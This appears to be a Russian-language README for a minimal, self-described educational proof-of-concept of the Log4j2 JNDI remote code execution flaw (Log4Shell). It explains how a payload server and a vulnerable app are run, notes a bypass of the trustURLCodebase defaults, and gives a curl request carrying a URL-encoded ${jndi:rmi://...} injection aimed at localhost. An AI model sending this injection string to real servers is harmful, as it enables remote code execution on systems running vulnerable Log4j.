
Минимальный proof-of-concept для уязвимости Log4j2 JNDI RCE (CVE-2021-44228/Log4Shell).
Минимальный proof-of-concept (POC) для уязвимости Log4j2 JNDI Remote-Code-Execution (CVE-2021-44228). Он предназначен для образовательных целей, чтобы помочь людям, не являющимся исследователями безопасности, понять, как она работает и насколько велико её влияние.
Данный POC обходит требование устанавливать свойства com.sun.jndi.rmi.object.trustURLCodebase и com.sun.jndi.cosnaming.object.trustURLCodebase в значение true, которые были отключены по умолчанию начиная с 8u121, 7u131, 6u141.
Примечание: JDK 1.8 требуется для компиляции payload-server, но victim-app уязвим вплоть до JDK 15, поскольку движок Nashorn был удалён в JDK 15.
payload-server, выполнив команду:$ ./gradlew runPayloadServer
victim-app:$ ./gradlew runVictimApp
curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D, чтобы инициировать RCE.victim-app. Вы должны увидеть, что на экране появилась непредусмотренная запись журнала.